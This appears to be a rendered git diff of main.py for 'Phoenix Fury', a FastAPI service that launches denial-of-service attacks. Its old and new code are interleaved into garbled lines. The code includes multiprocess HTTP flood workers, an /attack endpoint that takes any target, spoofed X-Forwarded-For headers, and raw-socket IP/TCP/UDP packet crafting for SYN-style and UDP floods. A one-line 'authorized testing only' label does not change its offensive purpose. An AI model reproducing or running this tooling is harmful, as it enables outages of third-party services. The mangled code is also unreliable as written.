Update main.py
Browse files
main.py
CHANGED
|
@@ -1,811 +1,265 @@
|
|
| 1 |
-
import multiprocessingimport multiprocessing
|
| 2 |
-
|
| 3 |
-
import socket
|
| 4 |
-
|
| 5 |
-
import timeimport socketimport threading
|
| 6 |
-
|
| 7 |
import os
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
import
|
| 16 |
-
|
| 17 |
-
import osimport os
|
| 18 |
-
|
| 19 |
-
app = FastAPI(title="Phoenix Fury v8.0 - NUCLEAR MODE")
|
| 20 |
-
|
| 21 |
-
from ctypes import c_ulonglongimport sys
|
| 22 |
-
|
| 23 |
-
# ============================================================================
|
| 24 |
-
|
| 25 |
-
# AUTO-CONFIG: USE ALL AVAILABLE RESOURCESfrom fastapi import FastAPI, BackgroundTasksimport psutil
|
| 26 |
-
|
| 27 |
-
# ============================================================================
|
| 28 |
-
|
| 29 |
-
CPU_COUNT = os.cpu_count() or 8from pydantic import BaseModelimport ssl
|
| 30 |
-
|
| 31 |
-
# NUCLEAR MODE: 64 processes per CPU core!
|
| 32 |
-
|
| 33 |
-
TOTAL_PROCESSES = CPU_COUNT * 64 # 48 cores = 3,072 processesimport uvicornfrom typing import Literal, List, Union
|
| 34 |
-
|
| 35 |
-
REQUESTS_PER_BURST = 1000 # Each process sends 1000 reqs per connection
|
| 36 |
-
|
| 37 |
from ctypes import c_ulonglong
|
|
|
|
| 38 |
|
| 39 |
-
|
| 40 |
-
|
| 41 |
-
|
| 42 |
-
|
| 43 |
-
|
| 44 |
-
|
| 45 |
-
# Use uvloop for a significant performance boost
|
| 46 |
-
|
| 47 |
-
# ============================================================================
|
| 48 |
-
|
| 49 |
-
# MODELS# ============================================================================try:
|
| 50 |
-
|
| 51 |
-
# ============================================================================
|
| 52 |
-
|
| 53 |
-
class AttackConfig(BaseModel):# AUTO-CONFIG: USE ALL AVAILABLE RESOURCES import uvloop
|
| 54 |
-
|
| 55 |
-
target: str
|
| 56 |
-
|
| 57 |
-
port: int = 80# ============================================================================ asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
|
| 58 |
-
|
| 59 |
-
duration: int = 60
|
| 60 |
-
|
| 61 |
-
CPU_COUNT = os.cpu_count() or 8except ImportError:
|
| 62 |
-
|
| 63 |
-
# ============================================================================
|
| 64 |
|
| 65 |
-
#
|
|
|
|
|
|
|
| 66 |
|
| 67 |
-
#
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 68 |
|
| 69 |
-
|
|
|
|
| 70 |
|
|
|
|
| 71 |
"""
|
| 72 |
-
|
| 73 |
-
|
| 74 |
-
|
| 75 |
"""
|
| 76 |
-
|
| 77 |
-
|
| 78 |
-
|
| 79 |
-
|
| 80 |
-
|
| 81 |
-
|
| 82 |
-
|
| 83 |
-
|
| 84 |
-
|
| 85 |
-
|
| 86 |
-
|
| 87 |
-
|
| 88 |
-
|
| 89 |
-
# INFINITE LOOP: Connect → Blast requests → Reconnectprint(f"[NUCLEAR MODE] Expected: {TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,} RPS")# --- Application Setup ---
|
| 90 |
-
|
| 91 |
-
while not stop_flag.value:
|
| 92 |
-
|
| 93 |
-
sock = Noneapp = FastAPI(
|
| 94 |
-
|
| 95 |
-
try:
|
| 96 |
-
|
| 97 |
-
# Fast socket creation# ============================================================================ title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
|
| 98 |
-
|
| 99 |
-
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 100 |
-
|
| 101 |
-
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)# MODELS description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
|
| 102 |
-
|
| 103 |
-
sock.settimeout(2)
|
| 104 |
-
|
| 105 |
-
sock.connect((target_ip, port))# ============================================================================ version="7.0.0"
|
| 106 |
-
|
| 107 |
-
|
| 108 |
-
|
| 109 |
-
# BLAST REQUESTS - No delays, no checksclass AttackConfig(BaseModel):)
|
| 110 |
-
|
| 111 |
-
for _ in range(REQUESTS_PER_BURST):
|
| 112 |
-
|
| 113 |
-
try: target: str
|
| 114 |
-
|
| 115 |
-
sock.send(request.replace(b"{}", str(req_num).encode()))
|
| 116 |
-
|
| 117 |
-
local_count += 1 port: int = 80# --- Auto-Optimized Configuration ---
|
| 118 |
-
|
| 119 |
-
req_num += 1
|
| 120 |
-
|
| 121 |
-
except: duration: int = 60CPU_COUNT = psutil.cpu_count(logical=True) or 8
|
| 122 |
-
|
| 123 |
-
break
|
| 124 |
-
|
| 125 |
-
TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
|
| 126 |
-
|
| 127 |
-
sock.close()
|
| 128 |
-
|
| 129 |
-
except:# ============================================================================
|
| 130 |
-
|
| 131 |
-
pass # Ignore ALL errors, keep going
|
| 132 |
-
|
| 133 |
-
# ULTRA-AGGRESSIVE WORKER - MAXIMUM SPEED# REALISTIC CONFIG - Fewer processes that actually work
|
| 134 |
-
|
| 135 |
-
# Update shared counter every 500 requests
|
| 136 |
-
|
| 137 |
-
if local_count >= 500:# ============================================================================def calculate_optimal_config():
|
| 138 |
-
|
| 139 |
-
counter.value += local_count
|
| 140 |
-
|
| 141 |
-
local_count = 0def nuclear_worker(worker_id, target_ip, port, stop_flag, counter): """Calculate reasonable process count."""
|
| 142 |
-
|
| 143 |
-
|
| 144 |
-
|
| 145 |
-
# Final update """ # MUCH FEWER processes - focus on making them work!
|
| 146 |
-
|
| 147 |
-
if local_count > 0:
|
| 148 |
-
|
| 149 |
-
counter.value += local_count Ultra-aggressive worker: tight loop, no error handling, maximum speed. if CPU_COUNT >= 32:
|
| 150 |
-
|
| 151 |
-
|
| 152 |
-
|
| 153 |
-
# ============================================================================ """ MAX_PROCESSES = CPU_COUNT * 2 # 64-96 processes for 32-48 cores
|
| 154 |
-
|
| 155 |
-
# ATTACK MANAGER
|
| 156 |
-
|
| 157 |
-
# ============================================================================ # Pre-build request (minimal) elif CPU_COUNT >= 16:
|
| 158 |
-
|
| 159 |
-
class NuclearAttackManager:
|
| 160 |
-
|
| 161 |
-
def __init__(self): request = f"GET /?w={worker_id}&c={{}} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n".encode() MAX_PROCESSES = CPU_COUNT * 3 # 48 processes for 16 cores
|
| 162 |
-
|
| 163 |
-
self.active = False
|
| 164 |
-
|
| 165 |
-
self.processes = [] elif CPU_COUNT >= 8:
|
| 166 |
-
|
| 167 |
-
self.stop_flag = multiprocessing.Value('i', 0)
|
| 168 |
-
|
| 169 |
-
self.counter = multiprocessing.Value(c_ulonglong, 0) local_count = 0 MAX_PROCESSES = CPU_COUNT * 4 # 32 processes for 8 cores
|
| 170 |
-
|
| 171 |
-
self.start_time = 0
|
| 172 |
-
|
| 173 |
-
req_num = 0 elif CPU_COUNT >= 4:
|
| 174 |
-
|
| 175 |
-
def launch(self, target: str, port: int, duration: int):
|
| 176 |
-
|
| 177 |
-
"""Launch nuclear attack with ALL processes.""" MAX_PROCESSES = CPU_COUNT * 6 # 24 processes for 4 cores
|
| 178 |
-
|
| 179 |
-
if self.active:
|
| 180 |
-
|
| 181 |
-
return # INFINITE LOOP: Connect → Blast requests → Reconnect else:
|
| 182 |
-
|
| 183 |
-
|
| 184 |
-
|
| 185 |
-
self.active = True while not stop_flag.value: MAX_PROCESSES = CPU_COUNT * 8 # 16 processes for 2 cores
|
| 186 |
-
|
| 187 |
-
self.stop_flag.value = 0
|
| 188 |
-
|
| 189 |
-
self.counter.value = 0 sock = None
|
| 190 |
-
|
| 191 |
-
self.start_time = time.time()
|
| 192 |
-
|
| 193 |
-
self.processes = [] try: REQUESTS_PER_CONNECTION = 500 # Send 500 requests per socket
|
| 194 |
-
|
| 195 |
-
|
| 196 |
-
|
| 197 |
-
# Resolve target # Fast socket creation total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION
|
| 198 |
-
|
| 199 |
-
try:
|
| 200 |
-
|
| 201 |
-
target_ip = socket.gethostbyname(target.replace("http://", "").replace("https://", "").split("/")[0]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 202 |
-
|
| 203 |
-
except:
|
| 204 |
-
|
| 205 |
-
target_ip = target sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity
|
| 206 |
-
|
| 207 |
-
|
| 208 |
-
|
| 209 |
-
print(f"\n{'='*70}") sock.settimeout(2)
|
| 210 |
-
|
| 211 |
-
print(f"🔥 NUCLEAR ATTACK LAUNCHED")
|
| 212 |
-
|
| 213 |
-
print(f" Target: {target_ip}:{port}") sock.connect((target_ip, port))MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
|
| 214 |
-
|
| 215 |
-
print(f" Processes: {TOTAL_PROCESSES:,}")
|
| 216 |
-
|
| 217 |
-
print(f" Duration: {duration}s") STATS_BATCH_UPDATE_SIZE = 100 # Smaller batches for better feedback
|
| 218 |
-
|
| 219 |
-
print(f"{'='*70}\n")
|
| 220 |
-
|
| 221 |
-
# BLAST REQUESTS - No delays, no checks
|
| 222 |
-
|
| 223 |
-
# Spawn ALL processes at once
|
| 224 |
-
|
| 225 |
-
for i in range(TOTAL_PROCESSES): for _ in range(REQUESTS_PER_BURST):# --- L7 Enhanced Headers Pool ---
|
| 226 |
-
|
| 227 |
-
p = multiprocessing.Process(
|
| 228 |
-
|
| 229 |
-
target=nuclear_worker, try:USER_AGENTS = [
|
| 230 |
-
|
| 231 |
-
args=(i, target_ip, port, self.stop_flag, self.counter)
|
| 232 |
-
|
| 233 |
-
) sock.send(request.replace(b"{}", str(req_num).encode())) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
|
| 234 |
-
|
| 235 |
-
p.start()
|
| 236 |
-
|
| 237 |
-
self.processes.append(p) local_count += 1 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
|
| 238 |
-
|
| 239 |
-
|
| 240 |
-
|
| 241 |
-
# Stats reporter req_num += 1 "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
|
| 242 |
-
|
| 243 |
-
def report_stats():
|
| 244 |
-
|
| 245 |
-
last_count = 0 except: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
|
| 246 |
-
|
| 247 |
-
last_time = time.time()
|
| 248 |
-
|
| 249 |
-
break "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
|
| 250 |
-
|
| 251 |
-
while not self.stop_flag.value:
|
| 252 |
-
|
| 253 |
-
time.sleep(2) ]
|
| 254 |
-
|
| 255 |
-
now = time.time()
|
| 256 |
-
|
| 257 |
-
current = self.counter.value sock.close()REFERERS = [
|
| 258 |
-
|
| 259 |
-
rps = (current - last_count) / (now - last_time)
|
| 260 |
-
|
| 261 |
-
elapsed = now - self.start_time except: "https://www.google.com/search?q=",
|
| 262 |
-
|
| 263 |
-
|
| 264 |
-
|
| 265 |
-
print(f"[{elapsed:.0f}s] Total: {current:,} | Current RPS: {rps:,.0f}") pass # Ignore ALL errors, keep going "https://www.bing.com/search?q=",
|
| 266 |
-
|
| 267 |
-
|
| 268 |
-
|
| 269 |
-
last_count = current "https://www.facebook.com/",
|
| 270 |
-
|
| 271 |
-
last_time = now
|
| 272 |
-
|
| 273 |
-
# Update shared counter every 500 requests "https://www.twitter.com/",
|
| 274 |
-
|
| 275 |
-
import threading
|
| 276 |
-
|
| 277 |
-
stats_thread = threading.Thread(target=report_stats, daemon=True) if local_count >= 500: "https://www.reddit.com/",
|
| 278 |
-
|
| 279 |
-
stats_thread.start()
|
| 280 |
-
|
| 281 |
-
counter.value += local_count "https://www.youtube.com/"
|
| 282 |
-
|
| 283 |
-
# Auto-stop after duration
|
| 284 |
-
|
| 285 |
-
def auto_stop(): local_count = 0]
|
| 286 |
-
|
| 287 |
-
time.sleep(duration)
|
| 288 |
-
|
| 289 |
-
self.terminate()
|
| 290 |
-
|
| 291 |
-
|
| 292 |
-
|
| 293 |
-
stop_thread = threading.Thread(target=auto_stop, daemon=True) # Final updatedef get_random_headers() -> dict:
|
| 294 |
-
|
| 295 |
-
stop_thread.start()
|
| 296 |
-
|
| 297 |
-
if local_count > 0: """Generates randomized headers with IP spoofing for L7 attacks."""
|
| 298 |
-
|
| 299 |
-
def terminate(self):
|
| 300 |
-
|
| 301 |
-
"""Stop all processes.""" counter.value += local_count return {
|
| 302 |
-
|
| 303 |
-
if not self.active:
|
| 304 |
-
|
| 305 |
-
return "User-Agent": random.choice(USER_AGENTS),
|
| 306 |
-
|
| 307 |
-
|
| 308 |
-
|
| 309 |
-
print("\n⚠️ Terminating attack...")# ============================================================================ "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
|
| 310 |
-
|
| 311 |
-
self.stop_flag.value = 1
|
| 312 |
-
|
| 313 |
-
# ATTACK MANAGER "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
|
| 314 |
-
|
| 315 |
-
# Give processes 3 seconds to finish
|
| 316 |
-
|
| 317 |
-
time.sleep(3)# ============================================================================ "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
|
| 318 |
-
|
| 319 |
-
|
| 320 |
-
|
| 321 |
-
# Force kill remainingclass NuclearAttackManager: "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
| 322 |
-
|
| 323 |
-
for p in self.processes:
|
| 324 |
-
|
| 325 |
-
if p.is_alive(): def __init__(self): "Accept-Language": "en-US,en;q=0.9",
|
| 326 |
-
|
| 327 |
-
p.terminate()
|
| 328 |
-
|
| 329 |
-
self.active = False "Accept-Encoding": "gzip, deflate, br",
|
| 330 |
-
|
| 331 |
-
# Wait for all to die
|
| 332 |
-
|
| 333 |
-
for p in self.processes: self.processes = [] "Cache-Control": "no-cache",
|
| 334 |
-
|
| 335 |
-
p.join(timeout=1)
|
| 336 |
-
|
| 337 |
-
self.stop_flag = multiprocessing.Value('i', 0) "Pragma": "no-cache"
|
| 338 |
-
|
| 339 |
-
# Final stats
|
| 340 |
-
|
| 341 |
-
elapsed = time.time() - self.start_time self.counter = multiprocessing.Value(c_ulonglong, 0) }
|
| 342 |
-
|
| 343 |
-
total = self.counter.value
|
| 344 |
-
|
| 345 |
-
avg_rps = total / elapsed if elapsed > 0 else 0 self.start_time = 0
|
| 346 |
-
|
| 347 |
-
|
| 348 |
-
|
| 349 |
-
print(f"\n{'='*70}") # ====================================================================================
|
| 350 |
-
|
| 351 |
-
print(f"✅ ATTACK COMPLETED")
|
| 352 |
-
|
| 353 |
-
print(f" Total Requests: {total:,}") def launch(self, target: str, port: int, duration: int):# Pydantic API Models (Simplified - Auto Max Settings)
|
| 354 |
-
|
| 355 |
-
print(f" Duration: {elapsed:.2f}s")
|
| 356 |
-
|
| 357 |
-
print(f" Average RPS: {avg_rps:,.2f}") """Launch nuclear attack with ALL processes."""# ====================================================================================
|
| 358 |
-
|
| 359 |
-
print(f"{'='*70}\n")
|
| 360 |
-
|
| 361 |
-
if self.active:class BaseAttackConfig(BaseModel):
|
| 362 |
-
|
| 363 |
-
self.active = False
|
| 364 |
-
|
| 365 |
-
self.processes = [] return target: str = Field(..., description="Target hostname or IP address")
|
| 366 |
-
|
| 367 |
-
|
| 368 |
-
|
| 369 |
-
# Global manager port: int = Field(..., ge=1, le=65535, description="Target port")
|
| 370 |
-
|
| 371 |
-
ATTACK_MANAGER = NuclearAttackManager()
|
| 372 |
-
|
| 373 |
-
self.active = True duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
|
| 374 |
-
|
| 375 |
-
# ============================================================================
|
| 376 |
-
|
| 377 |
-
# API ENDPOINTS self.stop_flag.value = 0
|
| 378 |
-
|
| 379 |
-
# ============================================================================
|
| 380 |
-
|
| 381 |
-
@app.get("/") self.counter.value = 0class L4TCPConfig(BaseAttackConfig):
|
| 382 |
-
|
| 383 |
-
def root():
|
| 384 |
-
|
| 385 |
-
return { self.start_time = time.time() method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
|
| 386 |
-
|
| 387 |
-
"name": "Phoenix Fury v8.0 - NUCLEAR MODE",
|
| 388 |
-
|
| 389 |
-
"processes": TOTAL_PROCESSES, self.processes = []
|
| 390 |
-
|
| 391 |
-
"cpu_cores": CPU_COUNT,
|
| 392 |
-
|
| 393 |
-
"status": "READY" if not ATTACK_MANAGER.active else "ATTACKING" class L4UDPConfig(BaseAttackConfig):
|
| 394 |
-
|
| 395 |
-
}
|
| 396 |
-
|
| 397 |
-
# Resolve target method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")
|
| 398 |
-
|
| 399 |
-
@app.post("/attack")
|
| 400 |
-
|
| 401 |
-
def start_attack(config: AttackConfig, background: BackgroundTasks): try: payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")
|
| 402 |
-
|
| 403 |
-
"""Launch nuclear L7 attack."""
|
| 404 |
-
|
| 405 |
-
if ATTACK_MANAGER.active: target_ip = socket.gethostbyname(target.replace("http://", "").replace("https://", "").split("/")[0])
|
| 406 |
-
|
| 407 |
-
return {"error": "Attack already in progress"}
|
| 408 |
-
|
| 409 |
-
except:class L7Config(BaseAttackConfig):
|
| 410 |
-
|
| 411 |
-
background.add_task(
|
| 412 |
-
|
| 413 |
-
ATTACK_MANAGER.launch, target_ip = target method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
|
| 414 |
-
|
| 415 |
-
config.target,
|
| 416 |
-
|
| 417 |
-
config.port, path: str = Field("/", description="Request path")
|
| 418 |
-
|
| 419 |
-
config.duration
|
| 420 |
-
|
| 421 |
-
) print(f"\n{'='*70}")
|
| 422 |
-
|
| 423 |
-
|
| 424 |
-
|
| 425 |
-
return { print(f"🔥 NUCLEAR ATTACK LAUNCHED")class StatusResponse(BaseModel):
|
| 426 |
-
|
| 427 |
-
"status": "launched",
|
| 428 |
-
|
| 429 |
-
"target": config.target, print(f" Target: {target_ip}:{port}") attack_active: bool
|
| 430 |
-
|
| 431 |
-
"port": config.port,
|
| 432 |
-
|
| 433 |
-
"processes": TOTAL_PROCESSES, print(f" Processes: {TOTAL_PROCESSES:,}") attack_type: str
|
| 434 |
-
|
| 435 |
-
"expected_rps": f"{TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,}"
|
| 436 |
-
|
| 437 |
-
} print(f" Duration: {duration}s") target_host: str
|
| 438 |
-
|
| 439 |
-
|
| 440 |
-
|
| 441 |
-
@app.post("/stop") print(f"{'='*70}\n") target_ip: str
|
| 442 |
-
|
| 443 |
-
def stop_attack():
|
| 444 |
-
|
| 445 |
-
"""Stop current attack.""" port: int
|
| 446 |
-
|
| 447 |
-
ATTACK_MANAGER.terminate()
|
| 448 |
-
|
| 449 |
-
return {"status": "stopped"} # Spawn ALL processes at once duration: int
|
| 450 |
-
|
| 451 |
-
|
| 452 |
-
|
| 453 |
-
@app.get("/status") for i in range(TOTAL_PROCESSES): elapsed_time: float
|
| 454 |
-
|
| 455 |
-
def get_status():
|
| 456 |
-
|
| 457 |
-
"""Get current attack status.""" p = multiprocessing.Process( processes: int
|
| 458 |
-
|
| 459 |
-
if not ATTACK_MANAGER.active:
|
| 460 |
-
|
| 461 |
-
return {"active": False} target=nuclear_worker, total_sent: int
|
| 462 |
-
|
| 463 |
|
| 464 |
-
|
| 465 |
-
|
| 466 |
-
|
| 467 |
-
total = ATTACK_MANAGER.counter.value
|
| 468 |
-
|
| 469 |
-
current_rps = total / elapsed if elapsed > 0 else 0 ) cpu_usage_percent: float
|
| 470 |
-
|
| 471 |
|
|
|
|
| 472 |
|
| 473 |
-
|
| 474 |
-
|
| 475 |
-
|
| 476 |
-
|
| 477 |
-
"elapsed": round(elapsed, 1), self.processes.append(p)
|
| 478 |
-
|
| 479 |
-
"total_requests": total,
|
| 480 |
-
|
| 481 |
-
"current_rps": round(current_rps, 2), # ====================================================================================
|
| 482 |
-
|
| 483 |
-
"processes": TOTAL_PROCESSES
|
| 484 |
-
|
| 485 |
-
} # Stats reporter# CORE NETWORKING & PACKET CRAFTING
|
| 486 |
-
|
| 487 |
-
|
| 488 |
-
|
| 489 |
-
if __name__ == "__main__": def report_stats():# ====================================================================================
|
| 490 |
-
|
| 491 |
-
multiprocessing.set_start_method('fork', force=True)
|
| 492 |
-
|
| 493 |
-
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, log_level="warning") last_count = 0def check_root() -> bool:
|
| 494 |
-
|
| 495 |
-
|
| 496 |
-
last_time = time.time() """Check if running with root/admin privileges."""
|
| 497 |
-
|
| 498 |
-
try:
|
| 499 |
-
|
| 500 |
-
while not self.stop_flag.value: return os.geteuid() == 0
|
| 501 |
-
|
| 502 |
-
time.sleep(2) except AttributeError:
|
| 503 |
-
|
| 504 |
-
now = time.time() import ctypes
|
| 505 |
-
|
| 506 |
-
current = self.counter.value return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
| 507 |
-
|
| 508 |
-
rps = (current - last_count) / (now - last_time)
|
| 509 |
-
|
| 510 |
-
elapsed = now - self.start_timedef resolve_target(target: str) -> str:
|
| 511 |
-
|
| 512 |
-
"""Resolve hostname to IP address."""
|
| 513 |
-
|
| 514 |
-
print(f"[{elapsed:.0f}s] Total: {current:,} | Current RPS: {rps:,.0f}") try:
|
| 515 |
-
|
| 516 |
-
if "://" in target:
|
| 517 |
-
|
| 518 |
-
last_count = current target = target.split("://")[1].split("/")[0]
|
| 519 |
-
|
| 520 |
-
last_time = now return socket.gethostbyname(target)
|
| 521 |
-
|
| 522 |
-
except socket.gaierror:
|
| 523 |
-
|
| 524 |
-
import threading raise ValueError(f"Could not resolve hostname: {target}")
|
| 525 |
-
|
| 526 |
-
stats_thread = threading.Thread(target=report_stats, daemon=True)
|
| 527 |
-
|
| 528 |
-
stats_thread.start()def get_local_ip(target_ip: str) -> str:
|
| 529 |
-
|
| 530 |
-
"""Get local IP address that routes to target."""
|
| 531 |
-
|
| 532 |
-
# Auto-stop after duration try:
|
| 533 |
-
|
| 534 |
-
def auto_stop(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 535 |
-
|
| 536 |
-
time.sleep(duration) s.connect((target_ip, 1))
|
| 537 |
-
|
| 538 |
-
self.terminate() ip = s.getsockname()[0]
|
| 539 |
-
|
| 540 |
-
s.close()
|
| 541 |
-
|
| 542 |
-
stop_thread = threading.Thread(target=auto_stop, daemon=True) return ip
|
| 543 |
-
|
| 544 |
-
stop_thread.start() except:
|
| 545 |
-
|
| 546 |
-
return "127.0.0.1"
|
| 547 |
-
|
| 548 |
-
def terminate(self):
|
| 549 |
-
|
| 550 |
-
"""Stop all processes."""def calculate_checksum(data: bytes) -> int:
|
| 551 |
-
|
| 552 |
-
if not self.active: """Calculate IP/TCP/UDP checksum."""
|
| 553 |
-
|
| 554 |
-
return s = 0
|
| 555 |
-
|
| 556 |
-
if len(data) % 2:
|
| 557 |
-
|
| 558 |
-
print("\n⚠️ Terminating attack...") data += b'\0'
|
| 559 |
-
|
| 560 |
-
self.stop_flag.value = 1 for i in range(0, len(data), 2):
|
| 561 |
-
|
| 562 |
-
s += (data[i] << 8) + data[i+1]
|
| 563 |
-
|
| 564 |
-
# Give processes 3 seconds to finish s = (s >> 16) + (s & 0xffff)
|
| 565 |
-
|
| 566 |
-
time.sleep(3) s += (s >> 16)
|
| 567 |
-
|
| 568 |
-
return (~s) & 0xffff
|
| 569 |
-
|
| 570 |
-
# Force kill remaining
|
| 571 |
-
|
| 572 |
-
for p in self.processes:def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
|
| 573 |
-
|
| 574 |
-
if p.is_alive(): """Create IP header."""
|
| 575 |
-
|
| 576 |
-
p.terminate() header = struct.pack('!BBHHHBBH4s4s',
|
| 577 |
-
|
| 578 |
-
(4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
|
| 579 |
-
|
| 580 |
-
# Wait for all to die socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
|
| 581 |
-
|
| 582 |
-
for p in self.processes: )
|
| 583 |
-
|
| 584 |
-
p.join(timeout=1) return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]
|
| 585 |
-
|
| 586 |
-
|
| 587 |
-
|
| 588 |
-
# Final statsdef create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
|
| 589 |
-
|
| 590 |
-
elapsed = time.time() - self.start_time """Create TCP header with specified flags."""
|
| 591 |
-
|
| 592 |
-
total = self.counter.value seq = random.randint(1, 4294967295)
|
| 593 |
-
|
| 594 |
-
avg_rps = total / elapsed if elapsed > 0 else 0 ack_seq = 0
|
| 595 |
-
|
| 596 |
-
header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
|
| 597 |
-
|
| 598 |
-
print(f"\n{'='*70}") pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
|
| 599 |
-
|
| 600 |
-
print(f"✅ ATTACK COMPLETED") checksum = calculate_checksum(pseudo_header + header)
|
| 601 |
-
|
| 602 |
-
print(f" Total Requests: {total:,}") return header[:16] + struct.pack('!H', checksum) + header[18:]
|
| 603 |
-
|
| 604 |
-
print(f" Duration: {elapsed:.2f}s")
|
| 605 |
-
|
| 606 |
-
print(f" Average RPS: {avg_rps:,.2f}")def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
|
| 607 |
-
|
| 608 |
-
print(f"{'='*70}\n") """Create UDP header."""
|
| 609 |
|
| 610 |
-
|
|
|
|
|
|
|
| 611 |
|
| 612 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 613 |
|
| 614 |
-
|
|
|
|
|
|
|
| 615 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 616 |
checksum = calculate_checksum(pseudo_header + header + payload)
|
| 617 |
-
|
| 618 |
-
# Global manager return header[:6] + struct.pack('!H', checksum)
|
| 619 |
-
|
| 620 |
-
ATTACK_MANAGER = NuclearAttackManager()
|
| 621 |
|
| 622 |
# ====================================================================================
|
|
|
|
|
|
|
| 623 |
|
| 624 |
-
|
| 625 |
-
|
| 626 |
-
|
| 627 |
-
|
| 628 |
-
|
| 629 |
-
|
| 630 |
-
|
| 631 |
-
|
| 632 |
-
|
| 633 |
-
|
| 634 |
-
|
| 635 |
-
|
| 636 |
-
"name": "Phoenix Fury v8.0 - NUCLEAR MODE", sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
| 637 |
-
|
| 638 |
-
"processes": TOTAL_PROCESSES, # Increase socket buffer for higher throughput
|
| 639 |
-
|
| 640 |
-
"cpu_cores": CPU_COUNT, sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
|
| 641 |
-
|
| 642 |
-
"status": "READY" if not ATTACK_MANAGER.active else "ATTACKING" local_ip = get_local_ip(target_ip)
|
| 643 |
-
|
| 644 |
-
} except Exception as e:
|
| 645 |
-
|
| 646 |
-
print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr)
|
| 647 |
-
|
| 648 |
-
@app.post("/attack") return
|
| 649 |
-
|
| 650 |
-
def start_attack(config: AttackConfig, background: BackgroundTasks):
|
| 651 |
-
|
| 652 |
-
"""Launch nuclear L7 attack.""" local_counter = 0
|
| 653 |
-
|
| 654 |
-
if ATTACK_MANAGER.active: flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
|
| 655 |
-
|
| 656 |
-
return {"error": "Attack already in progress"}
|
| 657 |
-
|
| 658 |
-
# Pre-generate payloads for UDP
|
| 659 |
-
|
| 660 |
-
background.add_task( if attack_type == 'udp':
|
| 661 |
-
|
| 662 |
-
ATTACK_MANAGER.launch, if method_details == 'pps' or method_details == 0:
|
| 663 |
-
|
| 664 |
-
config.target, payload = b''
|
| 665 |
-
|
| 666 |
-
